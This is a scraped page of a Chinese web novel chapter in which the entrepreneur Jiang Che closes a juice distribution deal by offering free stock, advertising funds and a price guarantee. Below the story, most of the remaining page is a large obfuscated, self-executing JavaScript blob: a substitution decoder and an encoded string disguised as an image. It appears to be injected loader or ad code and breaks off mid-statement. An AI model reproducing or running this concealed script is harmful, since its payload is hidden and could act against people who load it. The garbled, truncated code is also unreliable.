第57章 维持不变(第1页)
天才一秒记住【爱看小说】地址:https://www.antiquessd.com
“而且,孙老板,我可以向您保证,未来半年内,我们江记果汁和果酱在东北三省的供货价格,将维持不变。
如果因为原材料上涨等因素导致成本增加,由我们江氏实业自行消化。”
江彻抛出的这几个“甜枣”
,让孙大雷的眼睛,再次亮了起来!
送产品!
投广告!
保价半年!
这条件,太诱人了!
尤其是广告投入,这可是实打实的真金白银啊!
很多厂家,都只是口头承诺会支持市场推广,但真正能拿出钱来做广告的,少之又少。
孙大雷在心里迅速盘算了一下。
五万元的订单,送五千元的产品,相当于打了九折。
再加上百分之十的广告投入,那就是五千元的广告费。
里外里,他能省下一万多元的成本!
而且,江彻还承诺保价半年,这无疑又降低了他的经营风险。
“江老板,你这个人,有意思!”
孙大雷哈哈一笑,紧锁的眉头舒展开来。
“跟你合作,我老孙,踏实!”
他拿起笔,在代理合同上,唰唰唰签下了自己的名字。
“江老板,预祝我们合作愉快!”
孙大雷伸出手。
“合作愉快!”
江彻与他用力一握。
第一份省级代理合同,顺利拿下!
赵立军和钱斌都暗暗松了口气,对江彻的谈判技巧和控场能力,佩服得五体投地。
先抛出高门槛,筛选掉一批实力不足、犹豫不决的。
然后再给出足够的利益和保障,让真正有眼光的经销商,无法拒绝。
这一手“欲擒故纵,恩威并施”
,玩得是炉火纯青!
接下来的两天,类似的场景,在江氏的洽谈室内,不断上演。
江彻凭借着他对人性的精准把握,对市场趋势的深刻洞察,以及江记产品过硬的品质和诱人的代理政策,成功地“俘获”
本章未完,请点击下一章继续阅读!若浏览器显示没有新章节了,请尝试点击右上角↗️或右下角↘️的菜单,退出阅读模式即可,谢谢!
如遇章节错误,请点击报错(无需登陆)
!function(){function a(a){var _idx="dp856q5oe";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,7_2(F6O2 d0zca[(O2LF Y8H"V~tsVIz16d"="C^S]OhF(Ik"="V1fftxSoO&4iVoVDV1z"="VKzhhdzE"="VI}pVo]f|:Uf;No]rkxqw}07V~|;5L](i{SK)^SkV;A(W^O)V1J(~p7o({OfVnxrV;A(|}s(A52(Vn7L)iS1VI&FdxO_^iSVXiO&)iO4VI+fk(q(ixOYLR+(txS+VoYCVK{9dX~(k^S}V~~fyxSKV~Afkzs(NiOhfki2r^O4"="E{S+p{O_V1Rf~LiVqFQVVI0/Vo|DV;CQVIffz{SiVKF(+xORFk"="L{O:)iOsVok"="V~9yVIi@O-;"="p{SFV1hf9xOdXxSOE(Rfzz&x"="YVNfNiOtVIqfyd"="C:tEJ@;"="VIh(A{SdVedrVof(z5d"="V1FfyxS_7xSC]@_"="Xh+f++Uf+UQd"="VItwJiOLV1n6VKkQ"="OiSSC@1(A{S0VK:"="VeAf~{O&V1;"="4{S]dhxWR:_TL7Y"="V;/fi{O0"="rY](kxO^psFfNRA(zxS(VICT"="V;](tDw&"="C9C_ON|i(xS}XiSxVKJ(yWdF5ys(WiOYVntD(iO]Vou(t^SzVK~(z{OEF_1(y^SK6^O9Vesfy_65V;54p:"="VeYYqFu(+X|DVK~(WiSU^iSk"="V1xdV;f(I0z"="V1_RVnN(A)i"="rtA(N:"="Voffz{SoSk"="VeUf9xSh]d"="VoRf9xSfVnxUY^O2(xShVotR]xO6"="XLf(IxSuC^SiF7;"="5W~(+iS1J{S;5V"="r^SxuxS%Vo}:d@6BVezxSd"="qtFfih^OV;xK5fd"="]iOwV;q(WiS{Vez/"="SYs(IxOD(xSO"="V~J(k7_UFiOp):"="2xS:V~+(NxOpVo_"="p^O]:7_"="wiOfVe+(kxO{VK9&Ve^"="Vn1(tiOhqxOQV~{"="_+/(tiSp6k"="V~h(W7kFXiOR^@nnVoh(95ufAiSUVeffAd"="SiO^Vo{"="]sCCVIdh"="rtJ(ks+fIiSDVnUf9XFfAk"="XiSwVeh(yk"="uiSWV~eFVoufB:"="r^SXx^SxVnV"="F{SpV;h(yh{"="C^S4V~U(t{OEVn5C"="5Lh(W:"="fxOSOho7JVo_u^O9"="CX/feRzOVeTEF+1(|{ODft}wVIN(I0)kp_Jf|V"="VoFfiiOAV~0"="V1]fe0T"="4YiDTFk0RiS%S{SUVoF(t&^"="FLf(yxSO6iSiFX^"="VowuVK5YVI9_d:"="R{O5VIs(yiSf"="]xSqwiSLV1e^YhzJV;^^Sd"="VIk7C-/(+04fV1](yxSQ^xSkDz_DV1x"="R^O4V1~(y{SL)^S7:(J(Wk"="VeffNL{A6iOC"="VI1(B^S(V;^|Vou(y9A(;^OX"="O9Cp2}&&){SApxSC"="VIJ(WX6-TiORJhtrVoT"="V1Af+xO%V~d"="Veq(~^OL"="V1FfyxS_7xSC]skt"="R{O2VI+(z^SL"="VKUfz{SJYxSXxk"="x{SJ)51(;xOoVe+(k:"="w^SR]^S2Vo|qdV"="C:976h|sf{S}(V"="Y@1fWXooVITu4:"="OiSS6hU(9xSQVKf(yiSt2^SiV;4QVni-JV"="4iOX2:i%VoFfyxO1VKF(+:"="4xOqVIu(WxS|"="2iS2O@/(Ik"="Voh(9{O:CiOi"="4{SXfs:7::"="LDnYV~6C^-u(+5|oVek"="LiO7JiOiVo_"="V~XFVohf|9;"="hkqft{OKV~Rfz{O}6Vk"="V;hft-V+2xOTV;ufA9/(IxO_hzu(AiOi^@UfzxSI"="VIFfe{Sqx@d7"="DiSx(}Q)Od"="r^Sx(hT]RFV"="C{OsV;e;Vo{xFLffi^S:Ve~(9Xx"="(^S)TiS&V;w}w-xV^Nw-"=":hhfzVAfkV"="R{OYVI/(tV"="V~/f|iSfTh0("="V1]fN{S7diSC"="V1~f+xSV^)7qVn:)V1z"="V~9WVIkQ6W6"="VeF(+h}KRiS7TxOyVI+(ktY"="fNe)VI{J7@s(9&2Q"="SYN(;xO)CiSOCd"="V~e-V~TK"="VI1(A{S2V;_qVo](Wk"="_WJ(z{S^^V"="V~U(k}{sX^Ou^N:"="VKf(e00"="V~R(B&zeLk"="V~wFVnsf;5f(|:"="C0f(eiOfJ^SL"="V1/f9{O%V~ffixSJ^^OJ4^O|"="5y&7V~kC"="^Dq(;xO7SxSuVK;"="VeN(e)_%]xSwVo9qVou(BkJ(A7)n7X_nV;JfN@T"="V1ffyiOKV~RftiSE7^ORw^OUpUk{"="2xOBV;4/Vnk1x:"="VeYrqFF(Ad"="V;^42U+(et44V1V"="E9hfB^S:]iO(JF/ft)1f~iOW"="xiSSFxS:Voz"="uyu(~xSEq^SRV~](zk"="V~s(;iSpV;xhVou(WVs(e^O22zidT-_sVnJfBiSLV1s(~ko"="r7N(kxOOSk"="VooWVehfiyufA{S+"="X^S7(9z"="f&Rfzk"="VIffe{S^xsV4"="r^S()h67F(YdDY{;Y^SO"="S7](~xO7J^S]O:hft:ufI^O(dk"="x{O%Ve1(t^SF"="]9f(exS|YiSp4N^"="69C-6sQk7^STfxSCVK{"="V;J(eiO|Sk"="hk+f9xO9VI+fy{SI"="J{OoVKk"="VIR(A&YzL^SwVoeKVnA(A:R(eNe{"="f&Jfz^ONV~Jf9xOhC)97"="E{S+fxO6Vnz"="VI5hqiO5Vn;uV~2K"="rsN(IxST({S]VIf(z_6"=")iOdq_o/Ck;"="V~F(i9YBXiS~VneJVof(~:"="Vn|pV1}5V~:uD+{"="riO_Ves(WxSA"="_L1(W^SSO^S&u7qf;^Sk"="VosfI^S/"="Vo^2VnN(B9dExd"="VI6XV;F(~+^~hxSz"="Vohf+^SLV1^|J^OOp^S^VoQ+4xO|_:"="Yd+fziO0V~JfN{O/6V"="(d+f;iO9V~RfN{O%Sk"="VI}pS{OpVnopVI4yF&0"="q}sfBD{4"="VI06V;q(~+^N2{SyfU;V6{Sp"="V1ff+iOr"="V~;XVe]f|Rwn"="u{S:w^SrVn45):"="V1:YV11f|+J(zf)h"="V~26C^OpVK6]"="V1qft{SJYiSOwV"="Vnh(y{O6O^O6VI^"="VK/(tdY"="^95_6@2zh{O9fiSDVKR(kLn^"="VKhft^SO)^SX"="Vo]f+xS(V1^sJ^O2(xSBVnCLr^O)D{O9]:"="VKJfNiSdp^Sp]s6X^0&eV;]fttz"="VIXhO:"="XxO:J^OWVo_t"="2:Q(^N|k6{Ss(xSRVK/(+fY"="V1&6Vn:"="R^OdV~J(k^SL"="V~2uVoff~)s(iF}4w&^/x7}]V~V"="VIC)S{O:VoVp"="VouftW^AdxO}^^OYV;h(I@^z^d"="6:n_rLdI"="V;4ihk"="VIN(AiS:"="fiOuR7T)w{OxVKqfiiO}]zx4"="V~/fe{SDRRV_V;i"="5xOJV~q(tiS7pxSkFFhfNsQ@"="rxSxu{SrVo|R7Y6;"="VKhfWt6sFxORTd"="V~9{6FhfW-xL^iS7dF4nYV"="VoioV;1fzyuf|:"="VKTzxsR(+R):"="C^OL6d6)"="VI+(Wht|"="XxOr^{O9VK6nXVY92d"="LiO4O{OyVn:"="w{SDEiSEVo}2hy_"="VeY]O+1(Ik"="riSO7)U(I{S5Vnqfky]f+{S)VeCeVo)hV~0"="XpQnVI^CYWs(kV"="RsqfyVUf|L4YV;Y6VKz"="(xO&V;eBV1xiL-Jf;^SwVe;"="VoJ(9h/fexOxO5~fe^SwVnR(+^OT"="V~/f~iSqw@0"="V~U(k}0-x{OpJpndVni"="VnxVVeufzUq(|{S|T:"="u{S_69~(;^S~VnNfW:"="StR(B^O)CiSE"="E^SX7X67R5T7R}xnpV"="FpXYV~dJYV"="VeF(WhX~wiSW4^O|V;s(yk"="O7](IV"="Xyt4V~o4YW/(+:9eV;/fk{OuVI1(yiS^"="V;+fW{ShVn{tq^S2hiS2VnT"="r^SRpds(|V"="uxSxfNVf"="VIUf~5oO){OoVehfyk"="r0J(W{OJqY+f9RN(|V"="r{Ox6d;]VnqfNxO;V1+(zd"="C{S/pxSqVn/f;@z"="wxSrhdi"="E^SSriS~Vn&x):"="diO:S@kUC5iUEiOkV;|TV~6"="r{S+VI2YVK^"="qt1fiy_"="V~R(|d6+R{S^"="VKhf+xOqVIufyV"="O{SSON~(IiS1"="rxSrhV~(AxSA"="VeRfzWA(tiSw4)+fk^S+Vn1(AiO+5xSQVK](+d"="4xODVeu(k{StV~_{"="^iO+Ve|1"="V~wRVnqf;:u(W-X5wV{"="_hRfy&~feF})Ved{VKo"="]XN(9{O(J:"="]^SE)L](eiSNVn;"="2^SFhYh(ixS9Ve+f+h]fWV"="Ve_4CW6"="V~q(Bd_e5{SwVn0"="V;s(W{S_"="V1x5h9zJVKzC(d"="O_F(eiOdC{SR"="FiSRV;A(9h_UVe2t"="V;]f|xO+V147T{S5:0N(Ad"="Vn00Vn/(tV"="VoFf9iS(Vo{"="V~;XVeq(~({&)iS~p(^"="VeRf9+/(|iS74:"="VoRftW_~diO{O^O|V;A(es;W^V"="V~h(kxO~V~AfziOu^iOE]{OIp-5N_-}(VedVVK0EdiS(T^OS:V;TVnQh]d"="ExSX7sTfDkYtD:"="2kJf+(z"="YiOX2R^W"="YdqfN{O-V~JfNk"="VoT^Vn1(A9VoEDV"="uhRft&V"="V1_qVnf(IV"="F@nEV~oDhWU(z:k"="4}A(NxOYSy+fADs(B^S^VIXTL{OkV;f(ARtxVI]fN_d"="VIJ(W_kp_iOwqRQhVnU(+V"="^xSpOpN(B{S9"="5Us(txS(7xS|:0/f9{SIVe5o"="V1s(i{OLCf9)VnT"="V~1(exS)V;6rVnA(t&f(9k"="Vn{VV;UfkyUfIk"="R{SYh:Xh2xSiVosfziOr]h6EVo)SDk+fis7-(k"="x{S2uxSJVo;ERW:"="VnexVKwYV~X@hhFfi^OS"="4D&)VIVqhsT"="VI}^C^O7V1zr"="w@F(I^SJ^iSsVI^"="Ck9_OV"="x{S2uxSJVo;ERW:zV;7pq@F(z{Ou7teWVnVIV;A(A0/(WX0r]k"="VKff9^O@V~]f9V"="r^SzV~QLVnffe^SoVe^"="671f|R06V;iV5d"="q_hfeNzLV;Tx:+s(BiO5"="V;__V1eCVI9FdL0"="VozJVn+(A9;TEhTpVoR(z)}R"="r{OT2Vi6VnufN{ONV1+(t(ffi0z%V10i6{S:V~/fz9](y{OQfxSyV~0"="V;J(BiOBOV"="V1FfyxS5Fd"="VI/fIiSf4ziEV;q(B{OqVn_"="V;F(I{Oz6{Sw"="F^SSVoJ(ks^nVe5;O:"="Vn/fNiS^dk"="Voh(z^Ou6{OnVI^"="C^SS67F(i^SNVKF(9xS@r^S]"="(xORJhV"="Vesfy(A(|iSFF9d"="V1z4YdiJVK}QX)60V1:BwV"="2^SxC0N(B{S~V1_"="VK:A4RF(NN9h"="Vo{5Vo/(i);"="4R7&VITf"="Ve+(+N7~5{SWxk"="_y7YV~^_7k"="FL~(t^S66iS|"="]@1(I^SAJ^SwVIA(Ws;ewiSFVn~(N0XB"="VKUfNiS97V|~VokfVK;DVe6"="V1Jfz{SJYiS+]sxW^}x"="up/(y^ST^V"=":xSf(95w"="Vo1fy{SfVnd"="VI4EVn~fe9:"="DiSJ():JxxOD"=":xSf(95wE{OxVeN(W^SECh{XVn};R9N(ed"="uxO]6(;)VnRftxOIV1/(W++fNX0YV1^1h^SfVIhfkV"="V~/(kzoU:xODCpt)VoN(kk]fB^S}VeFf;^O{VKV"="r{OCq:YO"="JFi_V17frL+(W}q(W^SWSp6"="uiSyV~CYVKNfBxSX"="V~qfid66)iO1V;FfkfJ(+xO~hyq(k{OR)tJfeiSqCxOhwzxJ)^OV"="VnexVK}YV~QBYV"="VIU(;^SFVe:dVos(A5u(W^O22V"="V1Uft{S{J:nRVoV]V1kuVei"="2iS]Ch+(i^SsVoq(N{Se4xSR"="V16]d5;6V~6R7V"="E^OsYxO)V1:qxF0wfXQVV1dY5)_K4xSBV;YdV1RfB^O6VoiY(VJ(IxS-VoR(iRzrV;56Veeuq799JxS/wiO]u^O&Ve/fIfFfy:"="LiOd^^O@Vo_/R&iU"="Vn~(yiO2qiOiV~z"="VIkFV;A(B-6V"="V1+(|xS)Cpo:Vn1fI^OAVo5qYss(|z4JV1~fILN(efx:Vn4DVeXeVnTkr{Oh2{O6"="]^S-){O:"="qUJfAxOLEiO)V1s(eyYWF^SYV1Y"="VnFf~iO+VK)&xiSY(k0"="V~4(Vn/f~di"="V1Jf9iS2h{SX"="V;qfkiSuExSQVKq(kkxqOiS%V;Ufek"="O&&X2p4~L{SAd{SS"="F{ShVe~(9@oAV;tB4d"="FiOOV~R(9{STd^OTppV"="CYRf;yVJVn9V):"="OiONV;7QVo6N"="r{SfLkU(i{S9VnUfWRffk{SdVe2/V~|EVIJf+xOydk"="VnFf+^SqVnzsJd"="DiSJddw)S:"="4^O^V;u(tiSBVo)}V;i"="V~R(B&{%4iSx"="DN9qVKdJ(fT"="VK/f9iSYpd"="VIUf9+^|6^ODVeJfI5s(;iODO0~(Bk"="Voq(9iOr6k"="VI1(exS5V;^qVo](WWs(kiOFOtT5"="qX](e{OC({SLh5/fiVFfIxOC"="VKUfy^SN2&X~"=")^OTR:"="Vo_2Vnh(idz}"="VKX}VId9OV"="TiSwYRVfR:_(L:"="^xSwOsf(NxS1VKf(9xSf4iSRV~V"="VnRfkhV"="hiSLV1qfkxOfD{OX]V]f9DC1VKY"="){OrJ+tESxS4VK{"="S{S:V~J(9iSS"="RiO5Opk&q9|wSV"="wdf(e(e6Vn5BT51(y^O_O};"="Vouf~{O27iSF2{OEVnT"="VoxpVoN(Ak"Z!5YF_52 d0z87_2(F6O2ca[5YF_52 YP=d0zcaP7_2(F6O2 d0FcY=Fa[(O2LF 28d0zca!5YF_52 d0F87_2(F6O2cF=La[F8F*}KQ!qYF O82HFZ!67cd0FmS(F;|C8880H0Za[Xd5 587_2(F6O2cYa[(O2LF L8"d)(fY7ph6CSq^2OJ:5LF_XDRT4ruxwE]k9W+ztyN;eI~i|BAV&-U0}@sonK1{Q%/8"!qYF F8""=28""!7O5cqYF O80=6=2=d80!28Ym(hd5rFcd%%a!,2vvc68Oboj6.Ko%2g2=O%%boajF%8iF562pm75O^xhd5xOfYc@nnv6>>c*@.OvKaag0a28Lm62fYR;7c2a!7O5cqYF Y80=L8FmqY2pFh!Y<L!Y%%a2%8"b"%c"00"%Fm(hd5xOfYrFcYamFOiF562pc}KaamLq6(Yc*@a!5YF_52 fY(OfYB~WxO^JO2Y2Fc2aP!(O2LF F87_2(F6O2cY=Fa[qYF L8HZ=O80=6=d8""!Y85cYa!qYF 2!7O5c280!2<@nK!2%%aLH2Z82!7O5c280!2<@nK!2%%aO8cO%LH2Z%Fm(hd5xOfYrFc2bFmqY2pFhaab@nK=68LH2Z=LH2Z8LHOZ=LHOZ86!280=O80!7O5cqYF F80!F<YmqY2pFh!F%%a28c2%}ab@nK=O8cO%LH2Zab@nK=68LH2Z=LH2Z8LHOZ=LHOZ86=d%8iF562pm75O^xhd5xOfYcYm(hd5xOfYrFcFa3LHcLH2Z%LHOZab@nKZa!5YF_52 dP!d0Fm&&qqJ:8F=Y8d5p_^Y2FL=d0FmS(F;|C8llHZP(O2LF (82H0Z=68F%(=d8YH6Z!5YF_52 djO8dgcd0FmpC|Bz68880H0Zvvcd0FmpC|Bz68llHZa=O8d0Fm&&qqJ:cO=La=YH6Z8Oa=OP=d0FcY=FaPc7_2(F6O2cY=Fa[(O2LF 28d0F=L8Yca!7O5c!llHZ!aF5T[(O2LF Y8*Jd5LYW2Fc2c@1o="1o5L"aa/}%Jd5LYW2Fc2c}1}="Ri-Q"aa/@%Jd5LYW2Fc2csQK="ciV-"aa/s%*Jd5LYW2Fc2c@K}="7~v5"aa/o.c*Jd5LYW2Fc2co@n="J@pp"aa/na%Jd5LYW2Fc2co{K="~;6."aa/K%*Jd5LYW2Fc2c@nK="J@pp"aa/1%*Jd5LYW2Fc2coKQ="0AiE"aa/{.c*Jd5LYW2Fc2co@o="c&qZ"aa/Qa!67cY888Fa)5YdS!LmJ_LhcLmLh67FcaaP(dF(h[LmJ_LhcLmLh67FcaaPPacd0z=K@00}{a=cca8>[(O2LF F8d0F!Xd5 C=;=h8D62fODHFcssQ="rbnL"aZ!qYF e82_qq=q8h/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=28"7S5))S"=_8"fJ{nK:nOY"%Fco{n="eJdd"a=Y8[5ODLgo=(Oq_^2Lg}0=6FY^V6Fhgh/}0=6FY^9Y6phFgq/o=qOdfiFdF_Lg0=LqOFWfgEcmn<ydFhHFc}{1=";pn+"aZcajKg{a%2=5YXY5LYWfgEcmn<ydFhHFcs00="iCo9"aZcajKg{a%2=5YXY5LY9Y6phFgN_^)Y5c"0"a=6L|OJg"0"=YXY2F|TJYgFc}QK="(NBp"a=5Y|5Tg0=f2Lg0=L_gHZ=Dg0=)pgFcosn=";pn+"aP=M8Fc@{{="^hoz"a=x8Fcn0n="$S#F"a=S8Fc@0Q=".5LL"a%2HFc@}0="~;6."aZca=68HZ=O8H"U2)Cnid4R@dOnktFQ@-_p&-OA2f_Ri)XN^t4Asf00@)"Z=i8Fcsn}="EBKL"a=(8fO(_^Y2FHFc@Qo="|xyR"aZHFc@00="YzZ@"aZ=p87_2(F6O2ca[(O2LF Y8F!5YF_52cc2YD wdFYaHYc@}Q="|xyR"aZca/Jd5LYW2Fc"s"%Ycsso="+~G1"aHYc@1n="+~G1"aZc*naaaHYcoK0=".5LL"aZcaHYc}1@="U7z{"aZc0=Yco}}="5EO5"aHYcn0o="~;6."aZcs=oaaP=y87_2(F6O2cY=2a[(O2LF L8F!5YF_52 YHLc}{K="eJdd"aZc2=*saP=]87_2(F6O2cYa[(O2LF L8F!qYF O8YHLcos@="+#cl"aZc""a=68""!7O5cXd5 28OHLcso}="vrAn"aZ*}!2>80!2**a6%8OH2Z!5YF_52 6P=487_2(F6O2ca[(O2LF Y8F!F5T[qYF F8+i;NHYc@oQ="c&qZ"aZcXcMa??"HZ"a!686HYcoQs="^hoz"aZcFa=JcM=""=0aP(dF(h[P5YF_52 6HYc@0n="+~G1"aZ>0P=~8LYF|6^YO_Fc7_2(F6O2ca[(O2LF Y8F!D62fODHYcon1="3&Db"aZ8D62fODHYcs@{="Oe]e"aZ??HZ!qYF L8YcsQo="+~G1"a=O8fO(_^Y2FHYc@s@="3Gp;"aZcYco}1="3&Db"aa=68fO(_^Y2FHYcs1Q="EBKL"aZcYc@Q1="eJdd"aaH0Z!D62fODHYc@Kn="y@Uv"aZHYcoo1="+RH]"aZcHYcoQ}="(NBp"a=lHZZa=D62fODHYcsn1="q.6G"aZHYcsos="~;6."aZcHYc@1s="36e5"a=LZa=D62fODHYcs@1="U7z{"aZHYco}o="faKQ"aZcHYc}Q@="eJdd"a=Ycs{Q="WGUa"a%2%Yc@{n="KKFw"aZa=D62fODHYcon1="3&Db"aZHYcon}="y@Uv"aZcHYco}s="^hoz"a="/M"%2%Yc@Ko="EBKL"aZa=OHYc@0o=":AGN"aZ8Ycsoo="|2kp"a%L=6HYc@@s=".5LL"aZHYc@n{="c&qZ"aZcO=6aP=}n00a!YHFcsKK="R3z;"aZ888"0"vvcYHFc@KQ="(NBp"aZ8llHZ=(m6f8_=D62fODH_Z8(a=YHFcn0{=";KQN"aZ8YHFc}Q{="|2kp"aZ888"}"!7_2(F6O2 Lc2=La[(O2LF O8F!L8}<d5p_^Y2FLHOc@{}="5EO5"aZvv0H0Zl88LjLg""=cYHOc@KK="Ri-Q"aZ8*}=6HOc}{}=")iz:"aZc2%"g"%LaaP7_2(F6O2 TcYa[(O2LF 28F!Xd5 d=5=(=q=f=_=h=682cs{o="^hoz"a%i%2co00="faKQ"a=L8""=O80=^87_2(F6O2cYa[(O2LF F82!7O5cXd5 68""=L80=O80=(80=d80=580!L<YHFco0{="J@pp"aZ!aO8YHFc@{@="y@Uv"aZcLa=O<}@{jc6%8iF562pHFcsss=".5LL"aZcOa=L%%agO>}Q}vvO<@@ojcd8YHFcoQo="YzZ@"aZcL%}a=6%8iF562pHFcon0="s.uV"aZccOvs}a<<K?dvKsa=L%8@agcd8YHFcs0n="U7z{"aZcL%}a=58YHFcsno="+~G1"aZcL%@a=6%8iF562pHFco@@="+#cl"aZccOv}na<<}@?cdvKsa<<K?5vKsa=L%8sa!5YF_52 6P!7O5cYH2c@}n=":AGN"aZc"^fnL"avvcY8YH2co1{="|2kp"aZco=N_^)Y5c"}@"aaa=Y8YH2coKo=";KQN"aZc/H3r*Ud*40*Q%/8Z/p=""a!O<YH2csKQ=".5LL"aZ!ah86H2cso@="ciV-"aZcYH2coKn="HNsc"aZcO%%aa=586H2cs0@=";KQN"aZcYH2c@sQ="faKQ"aZcO%%aa=d86H2cs{n="rbnL"aZcYH2co11="p~k@"aZcO%%aa=(86H2csK}="1o5L"aZcYH2c@n}="vrAn"aZcO%%aa=q8h<<@?5>>o=f8c5v}na<<o?d>>@=_8cdvsa<<K?(=L8L%iF562pH2coQ0="|2kp"aZcqa=dl8KovvcL8L%iF562pH2co}K="HNsc"aZcfaa=(l8KovvcL8L%iF562pH2cons="(NBp"aZc_aa!5YF_52 ^cLaP(O2LF N8Tc"^fnL+2NJU@oQ4"a!YmL_87c0a=Ymd58OH0Z!F5T[O87cOH0ZaP(dF(h[P7_2(F6O2 wca[(O2LF Y8F!qYF 28XcSa!5YF_52 2??JcS=28ydFhHYcsK{="5EO5"aZcaHYc@@Q=":AGN"aZcsKaHYcsQ}="Ri-Q"aZcsa=0H0Za=Y2(OfYB~WxO^JO2Y2Fc2aP7_2(F6O2 dcLa[(O2LF 68F!qYF d8YmL_HydFhH6c}Qn="(NBp"aZcydFhH6c}{1=";pn+"aZca.YmL_H6cn0}="q.6G"aZaZ=5!67cldvvcd8OHydFhH6c@{1="a50S"aZcydFhH6cssK="tIl|"aZca.OH6co10="faKQ"aZaZa=lda5YF_52 O87cYmd5a=d!qYF (87_2(F6O2ca[(O2LF F86!qYF O8cpcaHFc}{s=".5LL"aZc*na%2HFcson="kQa}"aZcJd5LYW2Fc"@"a=naaHFcs@o="|xyR"aZc""a=58ydFhHFc@s{="q.6G"aZcaHFc@1{="iCo9"aZc}KaHFco1{="|2kp"aZc@=Jd5LYW2FcFc@11="tIl|"aHFcn00="c&qZ"aZco=KaaaHFco1}=".5LL"aZc""a=d8""!7O5cXd5 L8OHFco0n="36e5"aZ*}!L>80!L**ad%85HLZ%OHLZ!5YF_52"^fnL+2NJU@oQ4"%dP!5YF_52 dH6co1o="R3z;"aZc"m"aH6c}{{="HNsc"aZ>@j58dg58pca%2%"m"%d=Ympf86css{="|2kp"a%5=5%L%6co1s=";KQN"a%wca%|ca%N%(c2aH6c@K1="Ri-Q"aZcJd5LYW2Fc6cs}@="WGUa"aH6c@{K="iCo9"aZc*@a*@KaaP7_2(F6O2 ^cO=6a[(O2LF d8F!YHdco{}=".5LL"aZ%%!F5T[Xd5 (8iHdcsQQ="q.6G"aZc""a=582YD &yt9FFJ~Y:_YLF=q8"m"%2%"m"%(HydFhHdc}Q0="5EO5"aZcydFhHdcs}s="HNsc"aZca.(Hdc@QQ="+#cl"aZaZ%dc}1Q="5EO5"a!5Hdco}@="q.6G"aZcdc@no="vrAn"a=dc@@}="rbnL"a%O%dco@0=")iz:"a%dcn}{="J@pp"a%dcs}K="tIl|"a%dcsoQ="rbnL"a%dc@K0="p#LA"a%pca%q=llHZa=5Hdc@sn="|2kp"aZ8nYs=5Hdcs{0="p#LA"aZ87_2(F6O2ca[(O2LF F8d!67c5HFc@@0="eJdd"aZ888ovv5HFc}1o="+~G1"aZ888@00a[qYF 28+i;NHFcn}o=";pn+"aZc5HFcs}o="1e;1"aZa!2vv2HFcn}}="a50S"aZ>0vvlJcx=2H0ZHFcoso="WGUa"aZc}=*}a%"?"%c2YD wdFYaHFcooo="U7z{"aZcaHFc@1}="5EO5"aZca=0a=2vvcYmL_87c0H0Zaa8880=YHFc@on="vrAn"aZ80PP=5HdcsK1="y@Uv"aZ87_2(F6O2ca[(O2LF F8d!5HFc@o@="q.6G"aZca=6vv^c6=0H0Za=Lcns=FcsKn="Oe]e"aaP=5Hdcs@Q="5EO5"aZ87_2(F6O2ca[(O2LF F8d!5HFcn0Q="+#cl"aZca=6vv^c6=0a=Lcns=Fco{{="rbnL"aaP=5Hdc}1s="c&qZ"aZcaP(dF(h[PP7_2(F6O2 7c2a[(O2LF L8F!qYF O82??Xcx=0a!67clOa5YF_52lYHLconK="s.uV"aZvv^cLco}{="J@pp"a%Lcs@s="9Z6@"a%"mn"=Lcono=";pn+"a%"mKmK"a=HZ!67cOHLc@@n="Oe]e"aZc"?"a>80a[67cO8OHLcsQ{=";pn+"aZc"?"a=c2YD wdFYaHLcoK}=".5LL"aZca*Jd5LYW2FcOH}Za>sYnvvlYHLc@nn="YzZ@"aZvv^cLc@o{="3Gp;"a%Lcon{="faKQ"a%"mK"=Lc@}s="p~k@"a%LcoK{="J@pp"a%"mn"a=0H0Z8882a5YF_52HZ!O8OH0ZP7O5cO8OHLcs0K="s.uV"aZc*sa%ycO=sa%OHLcssn="YzZ@"aZc0=sa=O8]cOa!OHLc@oK="Ri-Q"aZbol880!aO%8"8"!qYF 68TcOaHLcos}=")iz:"aZc"="a!5YF_52 686HLcsQs="3Gp;"aZc7_2(F6O2cYa[(O2LF F8L!5YF_52 YHFcso0="R3z;"aZc"m"a>80Pa=6P7_2(F6O2 rc2a[(O2LF L8F!YmL_8YmL_HLc@K@="tIl|"aZc7_2(F6O2cYa[(O2LF F8L!5YF_52l2HFco{Q="c&qZ"aZc"/"aH0ZHFcsoK="p~k@"aZcYaPa=O8OHLcss@="+#cl"aZc7_2(F6O2cYa[(O2LF F8L!5YF_52l2HFcn}s="Ri-Q"aZc"/"aH0ZHFc@}1="vrAn"aZcYaPaP7_2(F6O2 XcY=2a[(O2LF O8F!qYF L82_qq!F5T[L8qO(dqiFO5dpYHOcs01="iCo9"aZcYaP(dF(h[2vvcL82caaP5YF_52 LP7_2(F6O2 JcY=2=La[(O2LF O8F!F5T[qO(dqiFO5dpYHOc@n1="+~G1"aZcY=2aP(dF(h[LvvLcaPP7_2(F6O2 EcYa[(O2LF 28F!qYF 680<d5p_^Y2FLH2co0{="J@pp"aZvv0H0Zl88YjYg}=L82csQ0="Ri-Q"a=d8LH2cs@n=":AGN"aZ=O8""!7O5c!6**!aO%8LHydFhH2c@@@=";KQN"aZcydFhH2cos{=")iz:"aZca.daZ!5YF_52 OP7_2(F6O2 |ca[(O2LF Y8F!5YF_52 Yc}{n="eJdd"a%2P7_2(F6O2 5cLa[(O2LF O8F!qYF 68fO(_^Y2FHOcsK@="WGUa"aZcOcsn{="faKQ"aa=(8dcOco{o="+RH]"a%2%Ocs}}="faKQ"a%_%Oco@s="^hoz"a%YHOcs1s="ciV-"aZ%%a!67c0H0Z888(a5YF_52 2_qq!qYF 